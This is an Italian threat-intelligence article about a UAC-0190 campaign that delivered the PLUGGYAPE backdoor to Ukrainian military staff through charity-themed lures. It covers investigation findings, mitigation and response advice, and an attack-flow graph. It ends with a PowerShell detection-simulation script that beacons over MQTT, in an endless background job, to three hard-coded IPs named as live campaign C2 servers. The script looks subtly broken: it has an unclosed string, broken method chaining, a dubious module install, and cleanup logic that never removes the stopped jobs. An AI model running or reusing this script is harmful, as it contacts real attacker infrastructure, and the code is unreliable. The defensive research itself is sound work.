SOC Prime Bias: Critico

15 Gen 2026 19:13

“Fondi Inaffidabili”: attacchi informatici mirati UAC-0190 contro le Forze di Difesa ucraine utilizzando PLUGGYAPE

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Segui
“Fondi Inaffidabili”: attacchi informatici mirati UAC-0190 contro le Forze di Difesa ucraine utilizzando PLUGGYAPE
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riassunto

CERT-UA ha rivelato una serie di intrusioni mirate contro il personale all’interno delle Forze di Difesa Ucraina, con gli operatori che si spacciavano per rappresentanti di fondi di beneficenza per aumentare la fiducia e promuovere l’esecuzione. La campagna ha distribuito PLUGGYAPE, una backdoor su misura basata su Python, consegnata tramite file “documento” armati che utilizzano estensioni doppie ingannevoli (ad esempio, .docx.pif e .pdf.exe) per mascherarsi come contenuti benigni. Una volta avviato, il malware ha stabilito un comando e controllo su canali MQTT o WebSocket, utilizzando un mix di domini compromessi e infrastrutture basate su IP. CERT-UA ha collegato l’attivitĂ  al cluster Void Blizzard (Laundry Bear).

Indagine

Durante l’analisi, i rispondenti hanno raccolto molteplici artefatti malevoli e confermato che i payload erano binari Python confezionati con PyInstaller presentati come file simili a Office per incoraggiare l’esecuzione. La telemetria di rete ha mostrato beaconing tramite broker MQTT e sessioni WebSocket verso endpoint controllati dagli attaccanti, con alcuni indirizzi server forniti indirettamente—incapsulati come stringhe Base64 e recuperati da servizi di hosting in stile paste. Gli operatori hanno mantenuto la persistenza creando una voce di registro Run. Gli indicatori di infrastruttura sono stati corroborati attraverso riferimenti trovati su piattaforme di paste (inclusi Pastebin e rentry) e diversi domini a tema beneficenza utilizzati nella catena di esche.

Mitigazione

Trattare i file “documento” non richiesti ricevuti tramite messaggistica come ad alto rischio, in particolare gli allegati che utilizzano estensioni doppie o modelli di mascheramento eseguibili. Implementare una lista di applicazioni permesse e impedire esplicitamente l’esecuzione di binari confezionati da PyInstaller laddove possibile. Monitorare le modifiche ai comuni luoghi di persistenza, specialmente le modifiche alle chiavi Run. A livello di rete, bloccare o controllare strettamente la connettivitĂ  in uscita verso domini noti malevoli e limitare l’uscita a porte del broker MQTT associate al comando e controllo della campagna.

Risposta

Ingerire gli IOCs pubblicati negli strumenti SIEM/EDR e cercare proattivamente artefatti PLUGGYAPE attraverso gli endpoint, dando prioritĂ  ai sistemi utilizzati dal personale target. Isolare qualsiasi host sospetto e conservare le prove di endpoint e rete per il dimensionamento. Rivedere la persistenza del registro—specialmente le voci Run—ed esaminare i log di rete per modelli di traffico MQTT/WebSocket anomali. Escalare tramite i canali di risposta agli incidenti e le forze dell’ordine applicabili utilizzando i percorsi di contatto ufficiali forniti da CERT-UA.

“graph TB %% Class Definitions classDef technique fill:#ffcc99 classDef malware fill:#ff9999 classDef builtin fill:#cccccc %% Nodes initial_access[“<b>Tecnica</b> – <b>T1659 Iniezione di Contenuti</b><br /><b>Descrizione</b>: Iniettare file malevoli tramite piattaforme di messaggistica”] class initial_access technique malicious_file[“<b>File</b> – Documenti malevoli<br /><b>Esempi</b>: .docx.pif, .pdf.exe, payload offuscato”] class malicious_file builtin user_execution[“<b>Tecnica</b> – <b>T1204.002 Esecuzione Utente</b><br /><b>Descrizione</b>: La vittima apre il file malevolo”] class user_execution technique malware[“<b>Malware</b> – Backdoor Python compilata con PyInstaller<br /><b>Caratteristiche</b>: Payload incorporato, usa WebSocket e MQTT”] class malware malware persistence[“<b>Tecnica</b> – <b>T1547.014 Chiavi Run del Registro / Cartella di Avvio</b><br /><b>Descrizione</b>: Aggiunge una chiave Run per l’avvio automatico al login”] class persistence technique discovery[“<b>Tecnica</b> – <b>T1082 Scoperta Informazioni di Sistema</b><br /><b>Descrizione</b>: Raccolta dettagli OS e identificatori hardware”] class discovery technique command_and_control[“<b>Tecnica</b> – <b>T1071.001 Protocolli Web</b> e <b>T1102.002 MQTT</b><br /><b>Descrizione</b>: Comunica via WebSocket e MQTT, usa URL codificati Base64”] class command_and_control technique defense_evasion[“<b>Tecnica</b> – <b>T1036.008 Mascheramento</b>, <b>T1027.009 File Offuscati</b>, <b>T1497.002 Evasione Virtualizzazione/Sandbox</b><br /><b>Descrizione</b>: Nasconde i binari e verifica gli ambienti di analisi”] class defense_evasion technique exfiltration[“<b>Tecnica</b> – <b>T1011 Esfiltrazione su Altri Mezzi di Rete</b><br /><b>Descrizione</b>: Invia dati raccolti sullo stesso canale C2”] class exfiltration technique %% Connections initial_access u002du002d>|fornisce| malicious_file malicious_file u002du002d>|aperto dalla vittima| user_execution user_execution u002du002d>|esegue| malware malware u002du002d>|crea| persistence malware u002du002d>|raccolta| discovery malware u002du002d>|connette a| command_and_control malware u002du002d>|impiega| defense_evasion malware u002du002d>|esfiltra via| exfiltration “

Flusso di Attacco

Esecuzione Simulazione

Prerequisito: Il Telemetry & Baseline Pre‑flight Check deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione dell’Attacco & Comandi:

    1. Obiettivo: Stabilire un canale C2 con l’infrastruttura PLUGGYAPE utilizzando il protocollo MQTT, imitando un tipico dispositivo IoT che riporta silenziosamente i dati.
    2. Passo‑per‑passo:
      • L’attaccante rilascia uno script PowerShell che carica la MQTTnet libreria.
      • Crea un lavoro in background persistente che si connette al broker MQTT malevolo (uno dei tre IP codificati) sulla porta standard MQTT (1883).
      • Dopo aver stabilito la sessione TCP, invia un pacchetto MQTT CONNECT minimale seguito da un PUBLISH periodico con dati comando codificati.
      • Tutta l’attivitĂ  di rete viene eseguita nel contesto di un account di servizio legittimo per confondersi con il traffico normale.
  • Script di Test di Regressione:

    # Simulazione C2 PLUGGYAPE – MQTT su Windows
    # Richiede MQTTnet (installato tramite PowerShell Gallery)
    # ---------------------------------------------------------
    # 1. Installa MQTTnet se mancante
    if (-not (Get-Module -ListAvailable -Name MQTTnet)) {
        Install-Module -Name MQTTnet -Scope CurrentUser -Force
    }
    
    # 2. Definisci endpoint C2 malevoli
    $c2IPs = @('193.23.216.39','108.165.164.155','176.9.23.216')
    $c2Port = 1883
    
    # 3. Scegli casualmente un server C2 per simulare la selezione realistica
    $targetIP = $c2IPs | Get-Random
    
    # 4. Costruisci client MQTT
    $factory = New-Object MQTTnet.MqttFactory
    $client  = $factory.CreateMqttClient()
    $options = [MQTTnet.Client.MqttClientOptionsBuilder]::new()
                 .WithTcpServer($targetIP, $c2Port)
                 .WithClientId(([guid]::NewGuid()).Guid)
                 .Build()
    
    # 5. Connetti e inizia a pubblicare in un lavoro in background
    $scriptBlock = {
        param($client,$options)
        try {
            $client.ConnectAsync($options).GetAwaiter().GetResult()
            Write-Host "Connesso a PLUGGYAPE C2 a $($options.ChannelOptions.Server)`
    
            # Invia un semplice keep-alive publish ogni 30 secondi
            while ($true) {
                $msg = [MQTTnet.MqttApplicationMessageBuilder]::new()
                           .WithTopic('data/heartbeat')
                           .WithPayload('alive')
                           .WithExactlyOnceQoS()
                           .Build()
                $client.PublishAsync($msg).GetAwaiter().GetResult()
                Start-Sleep -Seconds 30
            }
        } catch {
            Write-Error "Connessione C2 fallita: $_"
        } finally {
            $client.DisconnectAsync() | Out-Null
        }
    }
    
    # Lancia il lavoro (viene eseguito in background)
    $job = Start-Job -ScriptBlock $scriptBlock -ArgumentList $client,$options
    Write-Host "Job di simulazione C2 PLUGGYAPE avviato (JobId=$($job.Id))."
  • Comandi di Pulizia:

    # Ferma il lavoro in background e assicurati che il client MQTT si disconnetta
    Get-Job | Where-Object {$_.State -eq 'Running'} | Stop-Job -Force
    Get-Job | Where-Object {$_.State -eq 'Running'} | Remove-Job -Force
    Write-Host "Simulazione C2 PLUGGYAPE fermata e pulizia completata."